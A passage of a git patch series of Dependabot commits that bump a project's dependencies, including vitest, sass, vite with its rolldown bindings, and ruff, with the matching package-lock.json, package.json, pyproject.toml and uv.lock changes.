"integrity": "sha512-JFKxMx6udhwKh/Ldo270e17QX710vgunMkuPAvXjHSvC6oqLWAHhVhjg/I71q0u0CBSErIODV1Kjv0FQNSWjdg==", + "version": "4.1.7", + "resolved": "https://registry.npmjs.org/@vitest/spy/-/spy-4.1.7.tgz", + "integrity": "sha512-kbkI5LMWakyuTIvs6fUJ5qdIVb1XVKsYJAT4OJ938cHMROYMSfmoQdZy0aaAnjbbc8F61vkoTqz/Az+/HiIu5Q==", "dev": true, "license": "MIT", "funding": { @@ -2220,13 +2202,13 @@ } }, "node_modules/@vitest/utils": { - "version": "4.1.6", - "resolved": "https://registry.npmjs.org/@vitest/utils/-/utils-4.1.6.tgz", - "integrity": "sha512-FxIY+U81R3LGKCxaHHFRQ5+g6/iRgGLmeHWdp2Amj4ljQRrEIWHmZyDfDYBRZlpyqA7qKxtS9DD1dhk8RnRIVQ==", + "version": "4.1.7", + "resolved": "https://registry.npmjs.org/@vitest/utils/-/utils-4.1.7.tgz", + "integrity": "sha512-T532WBu791cBxJlCl6SO+J14l81DQx6uQHm1bQbmCDY7nqlEIgkza/UFnSBNaUtSf41unldDFjdOBYEQC4b5Hw==", "dev": true, "license": "MIT", "dependencies": { - "@vitest/pretty-format": "4.1.6", + "@vitest/pretty-format": "4.1.7", "convert-source-map": "^2.0.0", "tinyrainbow": "^3.1.0" }, @@ -6944,19 +6926,19 @@ } }, "node_modules/vitest": { - "version": "4.1.6", - "resolved": "https://registry.npmjs.org/vitest/-/vitest-4.1.6.tgz", - "integrity": "sha512-6lvjbS3p9b4CrdCmguzbh2/4uoXhGE2q71R4OX5sqF9R1bo9Xd6fGrMAfvp5wnCzlBnFVdCOp6onuTQVbo8iUQ==", + "version": "4.1.7", + "resolved": "https://registry.npmjs.org/vitest/-/vitest-4.1.7.tgz", + "integrity": "sha512-flYyaFd2CgoCoU+0UKt3pxksgC+S02iTDN0n3LtqaMeXsI9SBcdNujc2k0DeFLzUn/0k538yNjOSdwgCqcrwJA==", "dev": true, "license": "MIT", "dependencies": { - "@vitest/expect": "4.1.6", - "@vitest/mocker": "4.1.6", - "@vitest/pretty-format": "4.1.6", - "@vitest/runner": "4.1.6", - "@vitest/snapshot": "4.1.6", - "@vitest/spy": "4.1.6", - "@vitest/utils": "4.1.6", + "@vitest/expect": "4.1.7", + "@vitest/mocker": "4.1.7", + "@vitest/pretty-format": "4.1.7", + "@vitest/runner": "4.1.7", + "@vitest/snapshot": "4.1.7", + "@vitest/spy": "4.1.7", + "@vitest/utils": "4.1.7", "es-module-lexer": "^2.0.0", "expect-type": "^1.3.0", "magic-string": "^0.30.21", @@ -6984,12 +6966,12 @@ "@edge-runtime/vm": "*", "@opentelemetry/api": "^1.9.0", "@types/node": "^20.0.0 || ^22.0.0 || >=24.0.0", - "@vitest/browser-playwright": "4.1.6", - "@vitest/browser-preview": "4.1.6", - "@vitest/browser-webdriverio": "4.1.6", - "@vitest/coverage-istanbul": "4.1.6", - "@vitest/coverage-v8": "4.1.6", - "@vitest/ui": "4.1.6", + "@vitest/browser-playwright": "4.1.7", + "@vitest/browser-preview": "4.1.7", + "@vitest/browser-webdriverio": "4.1.7", + "@vitest/coverage-istanbul": "4.1.7", + "@vitest/coverage-v8": "4.1.7", + "@vitest/ui": "4.1.7", "happy-dom": "*", "jsdom": "*", "vite": "^6.0.0 || ^7.0.0 || ^8.0.0" diff --git a/frontend/package.json b/frontend/package.json index 6eb2dc89a..3637ebbe1 100644 --- a/frontend/package.json +++ b/frontend/package.json @@ -50,7 +50,7 @@ "@testing-library/react": "^16.3.2", "@testing-library/user-event": "^14.6.1", "@vitejs/plugin-react": "^6.0.2", - "@vitest/coverage-v8": "^4.1.6", + "@vitest/coverage-v8": "^4.1.7", "eslint": "^9.39.4", "jsdom": "^29.1.1", "prettier": "^3.8.3", From c4e33fd412549730f17304ac294c63bcd334bf79 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 27 May 2026 08:41:38 +0200 Subject: [PATCH 010/131] build(deps): bump sass from 1.99.0 to 1.100.0 in /frontend (#1373) Bumps [sass](https://github.com/sass/dart-sass) from 1.99.0 to 1.100.0. - [Release notes](https://github.com/sass/dart-sass/releases) - [Changelog](https://github.com/sass/dart-sass/blob/main/CHANGELOG.md) - [Commits](https://github.com/sass/dart-sass/compare/1.99.0...1.100.0) --- updated-dependencies: - dependency-name: sass dependency-version: 1.100.0 dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- frontend/package-lock.json | 30 +++++++++++++++--------------- frontend/package.json | 2 +- 2 files changed, 16 insertions(+), 16 deletions(-) diff --git a/frontend/package-lock.json b/frontend/package-lock.json index c4e117099..c1f3f0ca2 100644 --- a/frontend/package-lock.json +++ b/frontend/package-lock.json @@ -23,7 +23,7 @@ "react-use": "^17.6.0", "reactstrap": "^9.2.3", "recharts": "^3.8.1", - "sass": "^1.99.0", + "sass": "^1.100.0", "zustand": "^5.0.13" }, "devDependencies": { @@ -2593,15 +2593,15 @@ } }, "node_modules/chokidar": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-4.0.3.tgz", - "integrity": "sha512-Qgzu8kfBvo+cA4962jnP1KkS6Dop5NS6g7R5LFYJr4b8Ub94PPQXUksCw9PvXoeXPRRddRNC5C1JQUR2SMGtnA==", + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-5.0.0.tgz", + "integrity": "sha512-TQMmc3w+5AxjpL8iIiwebF73dRDF4fBIieAqGn9RGCWaEVwQ6Fb2cGe31Yns0RRIzii5goJ1Y7xbMwo1TxMplw==", "license": "MIT", "dependencies": { - "readdirp": "^4.0.1" + "readdirp": "^5.0.0" }, "engines": { - "node": ">= 14.16.0" + "node": ">= 20.19.0" }, "funding": { "url": "https://paulmillr.com/funding/" @@ -5784,12 +5784,12 @@ } }, "node_modules/readdirp": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-4.1.2.tgz", - "integrity": "sha512-GDhwkLfywWL2s6vEjyhri+eXmfH6j1L7JE27WhqLeYzoh/A3DBaYGEj2H/HFZCn/kMfim73FXxEJTw06WtxQwg==", + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-5.0.0.tgz", + "integrity": "sha512-9u/XQ1pvrQtYyMpZe7DXKv2p5CNvyVwzUB6uhLAnQwHMSgKMBR62lc7AHljaeteeHXn11XTAaLLUVZYVZyuRBQ==", "license": "MIT", "engines": { - "node": ">= 14.18.0" + "node": ">= 20.19.0" }, "funding": { "type": "individual", @@ -5977,12 +5977,12 @@ } }, "node_modules/sass": { - "version": "1.99.0", - "resolved": "https://registry.npmjs.org/sass/-/sass-1.99.0.tgz", - "integrity": "sha512-kgW13M54DUB7IsIRM5LvJkNlpH+WhMpooUcaWGFARkF1Tc82v9mIWkCbCYf+MBvpIUBSeSOTilpZjEPr2VYE6Q==", + "version": "1.100.0", + "resolved": "https://registry.npmjs.org/sass/-/sass-1.100.0.tgz", + "integrity": "sha512-B5j0rYMlinhhOo9tjQebMVVn0TfyXAF+wB3b2ggZUuJ/is/Y+7+JGjirAMxHZ9Z3hIP98NPfamlAkBHa1lAaXQ==", "license": "MIT", "dependencies": { - "chokidar": "^4.0.0", + "chokidar": "^5.0.0", "immutable": "^5.1.5", "source-map-js": ">=0.6.2 <2.0.0" }, @@ -5990,7 +5990,7 @@ "sass": "sass.js" }, "engines": { - "node": ">=14.0.0" + "node": ">=20.19.0" }, "optionalDependencies": { "@parcel/watcher": "^2.4.1" diff --git a/frontend/package.json b/frontend/package.json index 3637ebbe1..50aadae67 100644 --- a/frontend/package.json +++ b/frontend/package.json @@ -24,7 +24,7 @@ "react-use": "^17.6.0", "reactstrap": "^9.2.3", "recharts": "^3.8.1", - "sass": "^1.99.0", + "sass": "^1.100.0", "zustand": "^5.0.13" }, "scripts": { From b79b5ba4f860dd31d66efd5a929f7b0e36dce2cd Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 27 May 2026 08:41:54 +0200 Subject: [PATCH 011/131] build(deps-dev): bump vite from 8.0.13 to 8.0.14 in /frontend (#1374) Bumps [vite](https://github.com/vitejs/vite/tree/HEAD/packages/vite) from 8.0.13 to 8.0.14. - [Release notes](https://github.com/vitejs/vite/releases) - [Changelog](https://github.com/vitejs/vite/blob/main/packages/vite/CHANGELOG.md) - [Commits](https://github.com/vitejs/vite/commits/v8.0.14/packages/vite) --- updated-dependencies: - dependency-name: vite dependency-version: 8.0.14 dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- frontend/package-lock.json | 154 ++++++++++++++++++------------------- frontend/package.json | 2 +- 2 files changed, 78 insertions(+), 78 deletions(-) diff --git a/frontend/package-lock.json b/frontend/package-lock.json index c1f3f0ca2..1580aa44c 100644 --- a/frontend/package-lock.json +++ b/frontend/package-lock.json @@ -36,7 +36,7 @@ "jsdom": "^29.1.1", "prettier": "^3.8.3", "stylelint": "^17.11.1", - "vite": "^8.0.13", + "vite": "^8.0.14", "vitest": "^4.1.6" } }, @@ -1114,9 +1114,9 @@ } }, "node_modules/@oxc-project/types": { - "version": "0.130.0", - "resolved": "https://registry.npmjs.org/@oxc-project/types/-/types-0.130.0.tgz", - "integrity": "sha512-ibD2usx9JRu7f5pu2tMKMI4cpA4NgXJQoYRP4pQ7Pxmn1l6k/53qWtQWZayhYy3X4QZkt90Ot+mJEaeXouio6Q==", + "version": "0.132.0", + "resolved": "https://registry.npmjs.org/@oxc-project/types/-/types-0.132.0.tgz", + "integrity": "sha512-FESMOxil5Se014ui/Eq8fT5uHJo6nIRwH0PfJrZJXs6Gek3ZVFOrpUv3YIZT20m+extU98Hg1Ym72U58rlsxUQ==", "dev": true, "license": "MIT", "funding": { @@ -1466,9 +1466,9 @@ } }, "node_modules/@rolldown/binding-android-arm64": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/@rolldown/binding-android-arm64/-/binding-android-arm64-1.0.1.tgz", - "integrity": "sha512-fJI3I0r3C3Oj/zdBCpaCmBRZYf07xpaq4yCfDDoSFm+beWNzbIl26puW8RraUdugoJw/95zerNOn6jasAhzSmg==", + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@rolldown/binding-android-arm64/-/binding-android-arm64-1.0.2.tgz", + "integrity": "sha512-ZS4D1JPGn/MYQN/SYDWftIE/nVsM8j/AFOYEzAoOE2O3NktQOZru+/vYXGbR/qtdLdIfGCP0lcoJiYVzsEz+iQ==", "cpu": [ "arm64" ], @@ -1483,9 +1483,9 @@ } }, "node_modules/@rolldown/binding-darwin-arm64": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-arm64/-/binding-darwin-arm64-1.0.1.tgz", - "integrity": "sha512-cKnAhWEsV7TPcA/5EAteDp6KcJZBQ2G+BqE7zayMMi7kMvwRsbv7WT9aOnn0WNl4SKEIf43vjS31iUPu80nzXg==", + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-arm64/-/binding-darwin-arm64-1.0.2.tgz", + "integrity": "sha512-vdFA9+C/rekyGce7WqHs/xoT0ioZEWaOFyZLIV1mEeNFaFDUQrPIo8Vs2GvJ6eetb3rzDUtUBgzto3ExpXJB3w==", "cpu": [ "arm64" ], @@ -1500,9 +1500,9 @@ } }, "node_modules/@rolldown/binding-darwin-x64": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-x64/-/binding-darwin-x64-1.0.1.tgz", - "integrity": "sha512-YKrVwQjIRBPo+5G/u03wGjbdy4q7pyzCe93DK9VJ7zkVmeg8LJ7GbgsiHWdR4xSoe4CAXRD7Bcjgbtr64bkXNg==", + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-x64/-/binding-darwin-x64-1.0.2.tgz", + "integrity": "sha512-BewSOwTHazv77DTYiAZXSqqKZ4KP/KonFisDMVU7PImxoWfB2aepnPhd2E4SWz3zDzYgDNbs6jBmTdgNnF02GA==", "cpu": [ "x64" ], @@ -1517,9 +1517,9 @@ } }, "node_modules/@rolldown/binding-freebsd-x64": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/@rolldown/binding-freebsd-x64/-/binding-freebsd-x64-1.0.1.tgz", - "integrity": "sha512-z/oBsREo46SsFqBwYtFe0kpJeBijAT48O/WXLI4suiCLBkr03RTtTJMCzSdDd2znlh8VJizL09XVkQgk8IZonw==", + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@rolldown/binding-freebsd-x64/-/binding-freebsd-x64-1.0.2.tgz", + "integrity": "sha512-m41o7M0YWtUdqk61Tb+jnKb2rN++iRdIASlExkUoKfIAH30DOHCB8fVLzSUpbWHHU8esmEioY62PxzexE8MBuA==", "cpu": [ "x64" ], @@ -1534,9 +1534,9 @@ } }, "node_modules/@rolldown/binding-linux-arm-gnueabihf": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm-gnueabihf/-/binding-linux-arm-gnueabihf-1.0.1.tgz", - "integrity": "sha512-ik8q7GM11zxvYxFc2PeDcT6TBvhCQMaUxfph/M5l9sKuTs/Sjg3L+Byw0F7w0ZVLBZmx30P+gG0ECzzN+MFcmQ==", + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm-gnueabihf/-/binding-linux-arm-gnueabihf-1.0.2.tgz", + "integrity": "sha512-jcojB9H7W/jS29pMKWAK1N+fU99vXodHDTatS3b3y/XSOCiHo0kkA74pL3jJmkoQtYpOCxDvaKs1fo2Ij/1X5w==", "cpu": [ "arm" ], @@ -1551,9 +1551,9 @@ } }, "node_modules/@rolldown/binding-linux-arm64-gnu": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-gnu/-/binding-linux-arm64-gnu-1.0.1.tgz", - "integrity": "sha512-QoSx2EkyrrdZ6kcyE8stqZ62t0Yra8Fs5ia9lOxJrh6TMQJK7gQKmscdTHf7pOXKREKrVwOtJcQG3qVSfc866A==", + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-gnu/-/binding-linux-arm64-gnu-1.0.2.tgz", + "integrity": "sha512-1jn6qDU5iiOgFgygDzKUuKP0maTi0/f1+sBLgvij/76C77Nm3ts6ufz9Bjg5q5dduxiUIxtq86JIoBvo1xQ4Ig==", "cpu": [ "arm64" ], @@ -1568,9 +1568,9 @@ } }, "node_modules/@rolldown/binding-linux-arm64-musl": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-musl/-/binding-linux-arm64-musl-1.0.1.tgz", - "integrity": "sha512-uwNwFpwKeNiZawfAWBgg0VIztPTV3ihhh1vV334h9ivnNLorxnQMU6Fz8wG1Zb4Qh9LC1/MkcyT3YlDXG3Rsgg==", + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-musl/-/binding-linux-arm64-musl-1.0.2.tgz", + "integrity": "sha512-QVLO/czFMdoMFSqlX3bcswcJNm/23r+qoa/jgtmFc/qEp6/jXmIkDjF/XIo8dPfGaiwy1xfQn8o77L79GeXFgw==", "cpu": [ "arm64" ], @@ -1585,9 +1585,9 @@ } }, "node_modules/@rolldown/binding-linux-ppc64-gnu": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-ppc64-gnu/-/binding-linux-ppc64-gnu-1.0.1.tgz", - "integrity": "sha512-zY1bul7OWr7DFBiJ++wofXvnr8B45ce3QsQUhKrIhXsygAh7bTkwyeM1bi1a2g5C/yC/N8TZyGDEoMfm/l9mpg==", + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-ppc64-gnu/-/binding-linux-ppc64-gnu-1.0.2.tgz", + "integrity": "sha512-hgO5Abm0w5UL6FEa2iFnZqo2KlK7TQ5QhV5x09hujBf7t5KzHQ1VmfPuTpqRy/rNlSxua3eWH374xxiVrP+lcA==", "cpu": [ "ppc64" ], @@ -1602,9 +1602,9 @@ } }, "node_modules/@rolldown/binding-linux-s390x-gnu": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-s390x-gnu/-/binding-linux-s390x-gnu-1.0.1.tgz", - "integrity": "sha512-0frlsT/f4Ft6I7SMESTKnF3cZsdicQn1dCMkF/jT9wDLE+gGoiQfv1nmT9e+s7s/fekvvy6tZM2jHvI2tkbJDQ==", + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-s390x-gnu/-/binding-linux-s390x-gnu-1.0.2.tgz", + "integrity": "sha512-fy8rXxuYEu602abC8MUNaPjYLIFzReOaEIEMKMUa0rFEUxNpVXhs15KSSQ4qlqSaM7B6rcj9rDZgADh/IGDzLQ==", "cpu": [ "s390x" ], @@ -1619,9 +1619,9 @@ } }, "node_modules/@rolldown/binding-linux-x64-gnu": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-gnu/-/binding-linux-x64-gnu-1.0.1.tgz", - "integrity": "sha512-XABVmGp9Tg0WspTVvwduTc4fpqy6JnAUrSQe6OuyqD/03nI7r0O9OWUkMIwFrjKAIqolvqoA4ZrJppgwE0Gxmw==", + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-gnu/-/binding-linux-x64-gnu-1.0.2.tgz", + "integrity": "sha512-0+bOkiQ779+r1WpoHOWHqncvyySci0vKph+myNDYb+im6meJAzHQXay6oEgnkHuUGouM1LKTZwqKpBow6Kj7CQ==", "cpu": [ "x64" ], @@ -1636,9 +1636,9 @@ } }, "node_modules/@rolldown/binding-linux-x64-musl": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-musl/-/binding-linux-x64-musl-1.0.1.tgz", - "integrity": "sha512-bV4fzswuzVcKD90o/VM6QqKxnxlDq0g2BISDLNVmxrnhpv1DDbyPhCIjYfvzYLV+MvkKKnQt2Q6AO86SEBULUQ==", + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-musl/-/binding-linux-x64-musl-1.0.2.tgz", + "integrity": "sha512-mjSkrzZK5Qsl0a9d1JgILOiuZOSDTVdKENcSXBoqbzSrspLR/4/IRVDo5wd2GgZjNss/viBFJdeq+j7qH2nypw==", "cpu": [ "x64" ], @@ -1653,9 +1653,9 @@ } }, "node_modules/@rolldown/binding-openharmony-arm64": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/@rolldown/binding-openharmony-arm64/-/binding-openharmony-arm64-1.0.1.tgz", - "integrity": "sha512-/Mh0Zhq3OP7fVs0kcQHZP6lZEthMGTaSf8UBQYSFEZDWGXXlEC+nJ6EqenaK2t4LBXMe3A+K/G2BVXXdtOr4PQ==", + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@rolldown/binding-openharmony-arm64/-/binding-openharmony-arm64-1.0.2.tgz", + "integrity": "sha512-1v5vHasdfQAZoEHakBV72LIFAC9JjnymsiKxp+GEr/ma3+NJCPSaYK+qavInOovJkgwFrs7GccX2d6IgDA3Z5w==", "cpu": [ "arm64" ], @@ -1670,9 +1670,9 @@ } }, "node_modules/@rolldown/binding-wasm32-wasi": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/@rolldown/binding-wasm32-wasi/-/binding-wasm32-wasi-1.0.1.tgz", - "integrity": "sha512-+1xc9X45l8ufsBAm6Gjvx2qDRIY9lTVt0cgWNcJ+1gdhXvkbxePA60yRTwSTuXL09CMhyJmjpV7E3NoyxbqFQQ==", + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@rolldown/binding-wasm32-wasi/-/binding-wasm32-wasi-1.0.2.tgz", + "integrity": "sha512-mb1VobWn6NheziTk5/WEaR6AKVbrwT5sOi6C7zk3gy/pD1qtJfU1j4PgTo2NJnOtbL9Dl3Aeei8w9jJ7qC2jZQ==", "cpu": [ "wasm32" ], @@ -1689,9 +1689,9 @@ } }, "node_modules/@rolldown/binding-win32-arm64-msvc": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-arm64-msvc/-/binding-win32-arm64-msvc-1.0.1.tgz", - "integrity": "sha512-1D+UqZdfnuR+Jy1GgMJwi85bD40H21uNmOPRWQhw4oRSuolZ/B5rixZ45DK2KXOTCvmVCecauWgEhbw8bI7tOw==", + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-arm64-msvc/-/binding-win32-arm64-msvc-1.0.2.tgz", + "integrity": "sha512-SqKonF56vA/L2yHwHYcEp2P34URpOZ7d1fS635cTkpDnUtEGdUbhI6NzsPdqeSWvAAeGDrxjWjNmibDIdFf9/A==", "cpu": [ "arm64" ], @@ -1706,9 +1706,9 @@ } }, "node_modules/@rolldown/binding-win32-x64-msvc": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-x64-msvc/-/binding-win32-x64-msvc-1.0.1.tgz", - "integrity": "sha512-INAycaWuhlOK3wk4mRHGsdgwYWmd9cChdPdE9bwWmy6rn9VqVNYNFGhOdXrofXUxwHIncSiPNb8tNm8knDVIeQ==", + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-x64-msvc/-/binding-win32-x64-msvc-1.0.2.tgz", + "integrity": "sha512-v7qRI7gXLRINcOGXt+7YmAZ6iFuyZVMIoXAxhd8oP+DR9dLfL9GfNIx7PLMxmhZdvq8waUJBQiWN9EKNy+TRBQ==", "cpu": [ "x64" ], @@ -5228,9 +5228,9 @@ } }, "node_modules/postcss": { - "version": "8.5.14", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.14.tgz", - "integrity": "sha512-SoSL4+OSEtR99LHFZQiJLkT59C5B1amGO1NzTwj7TT1qCUgUO6hxOvzkOYxD+vMrXBM3XJIKzokoERdqQq/Zmg==", + "version": "8.5.15", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.15.tgz", + "integrity": "sha512-FfR8sjd4em2T6fb3I2MwAJU7HWVMr9zba+enmQeeWFfCbm+UOC/0X4DS8XtpUTMwWMGbjKYP7xjfNekzyGmB3A==", "dev": true, "funding": [ { @@ -5248,7 +5248,7 @@ ], "license": "MIT", "dependencies": { - "nanoid": "^3.3.11", + "nanoid": "^3.3.12", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" }, @@ -5910,13 +5910,13 @@ } }, "node_modules/rolldown": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/rolldown/-/rolldown-1.0.1.tgz", - "integrity": "sha512-X0KQHljNnEkWNqqiz9zJrGunh1B0HgOxLXvnFpCOcadzcy5qohZ3tqMEUg00vncoRovXuK3ZqCT9KnnKzoInFQ==", + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/rolldown/-/rolldown-1.0.2.tgz", + "integrity": "sha512-oZx5zVDtVB44AW3eaifgDml1gWRDZGvjcfdxonE4swNPG98PrrXjaO/KrnUjzlMnztCCRVlUueA1kCXhARGk6g==", "dev": true, "license": "MIT", "dependencies": { - "@oxc-project/types": "=0.130.0", + "@oxc-project/types": "=0.132.0", "@rolldown/pluginutils": "^1.0.0" }, "bin": { @@ -5926,21 +5926,21 @@ "node": "^20.19.0 || >=22.12.0" }, "optionalDependencies": { - "@rolldown/binding-android-arm64": "1.0.1", - "@rolldown/binding-darwin-arm64": "1.0.1", - "@rolldown/binding-darwin-x64": "1.0.1", - "@rolldown/binding-freebsd-x64": "1.0.1", - "@rolldown/binding-linux-arm-gnueabihf": "1.0.1", - "@rolldown/binding-linux-arm64-gnu": "1.0.1", - "@rolldown/binding-linux-arm64-musl": "1.0.1", - "@rolldown/binding-linux-ppc64-gnu": "1.0.1", - "@rolldown/binding-linux-s390x-gnu": "1.0.1", - "@rolldown/binding-linux-x64-gnu": "1.0.1", - "@rolldown/binding-linux-x64-musl": "1.0.1", - "@rolldown/binding-openharmony-arm64": "1.0.1", - "@rolldown/binding-wasm32-wasi": "1.0.1", - "@rolldown/binding-win32-arm64-msvc": "1.0.1", - "@rolldown/binding-win32-x64-msvc": "1.0.1" + "@rolldown/binding-android-arm64": "1.0.2", + "@rolldown/binding-darwin-arm64": "1.0.2", + "@rolldown/binding-darwin-x64": "1.0.2", + "@rolldown/binding-freebsd-x64": "1.0.2", + "@rolldown/binding-linux-arm-gnueabihf": "1.0.2", + "@rolldown/binding-linux-arm64-gnu": "1.0.2", + "@rolldown/binding-linux-arm64-musl": "1.0.2", + "@rolldown/binding-linux-ppc64-gnu": "1.0.2", + "@rolldown/binding-linux-s390x-gnu": "1.0.2", + "@rolldown/binding-linux-x64-gnu": "1.0.2", + "@rolldown/binding-linux-x64-musl": "1.0.2", + "@rolldown/binding-openharmony-arm64": "1.0.2", + "@rolldown/binding-wasm32-wasi": "1.0.2", + "@rolldown/binding-win32-arm64-msvc": "1.0.2", + "@rolldown/binding-win32-x64-msvc": "1.0.2" } }, "node_modules/rtl-css-js": { @@ -6848,16 +6848,16 @@ } }, "node_modules/vite": { - "version": "8.0.13", - "resolved": "https://registry.npmjs.org/vite/-/vite-8.0.13.tgz", - "integrity": "sha512-MFtjBYgzmSxmgA4RAfjIyXWpGe1oALnjgUTzzV7QLx/TKxCzjtMH6Fd9/eVK+5Fg1qNoz5VAwsmMs/NofrmJvw==", + "version": "8.0.14", + "resolved": "https://registry.npmjs.org/vite/-/vite-8.0.14.tgz", + "integrity": "sha512-s4BJJ+5y1pYL6Otw51FHhVJQhPnuRinKig64g/1+EUNaJsd3gCKdD31IPFvswUgW9/60QT9oFHbZHbQK5imcxw==", "dev": true, "license": "MIT", "dependencies": { "lightningcss": "^1.32.0", "picomatch": "^4.0.4", - "postcss": "^8.5.14", - "rolldown": "1.0.1", + "postcss": "^8.5.15", + "rolldown": "1.0.2", "tinyglobby": "^0.2.16" }, "bin": { diff --git a/frontend/package.json b/frontend/package.json index 50aadae67..22b6b54ae 100644 --- a/frontend/package.json +++ b/frontend/package.json @@ -55,7 +55,7 @@ "jsdom": "^29.1.1", "prettier": "^3.8.3", "stylelint": "^17.11.1", - "vite": "^8.0.13", + "vite": "^8.0.14", "vitest": "^4.1.6" } } From 2a5446c574588198c7321d04facbe3989a306c32 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 27 May 2026 08:42:30 +0200 Subject: [PATCH 012/131] build(deps-dev): bump ruff from 0.15.13 to 0.15.14 (#1378) Bumps [ruff](https://github.com/astral-sh/ruff) from 0.15.13 to 0.15.14. - [Release notes](https://github.com/astral-sh/ruff/releases) - [Changelog](https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md) - [Commits](https://github.com/astral-sh/ruff/compare/0.15.13...0.15.14) --- updated-dependencies: - dependency-name: ruff dependency-version: 0.15.14 dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- pyproject.toml | 2 +- uv.lock | 44 ++++++++++++++++++++++---------------------- 2 files changed, 23 insertions(+), 23 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 718942963..38878bd36 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -49,7 +49,7 @@ test = [ "django-test-migrations==1.5.0", ] lint = [ - "ruff==0.15.13", + "ruff==0.15.14", ] [tool.uv] diff --git a/uv.lock b/uv.lock index 97ce0fbd1..d35263cc9 100644 --- a/uv.lock +++ b/uv.lock @@ -544,7 +544,7 @@ requires-dist = [ [package.metadata.requires-dev] dev = [{ name = "django-watchfiles", specifier = "~=1.4" }] -lint = [{ name = "ruff", specifier = "==0.15.13" }] +lint = [{ name = "ruff", specifier = "==0.15.14" }] test = [ { name = "coverage", specifier = "==7.14.0" }, { name = "django-test-migrations", specifier = "==1.5.0" }, @@ -883,27 +883,27 @@ wheels = [ [[package]] name = "ruff" -version = "0.15.13" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/24/21/a7d5c126d5b557715ef81098f3db2fe20f622a039ff2e626af28d674ab80/ruff-0.15.13.tar.gz", hash = "sha256:f9d89f17f7ba7fb2ed42921f0df75da797a9a5d71bc39049e2c687cf2baf44b7", size = 4678180, upload-time = "2026-05-14T13:44:37.869Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/c6/61/11d458dc6ac22504fd8e237b29dfd40504c7fbbcc8930402cfe51a8e63ed/ruff-0.15.13-py3-none-linux_armv6l.whl", hash = "sha256:444b580fc72fd6887e650acd3e575e18cdc79dbcf42fb4030b491057921f61f8", size = 10738279, upload-time = "2026-05-14T13:44:18.7Z" }, - { url = "https://files.pythonhosted.org/packages/86/ca/caa871ee7be718c45256fada4e16a218ee3e33f0c4a46b729a60a24912e6/ruff-0.15.13-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:6590d009e7cb7ebf36f83dbdd44a3fa48a0994ff6f1cdc1b08006abe58f98dc7", size = 11124798, upload-time = "2026-05-14T13:44:06.427Z" }, - { url = "https://files.pythonhosted.org/packages/d3/19/43f5f2e568dddde567fc41f8471f9432c09563e19d3e617a48cfa52f8f0a/ruff-0.15.13-py3-none-macosx_11_0_arm64.whl", hash = "sha256:1c26d2f66163deeb6e08d8b39fbbe983ce3c71cea06a6d7591cfd1421793c629", size = 10460761, upload-time = 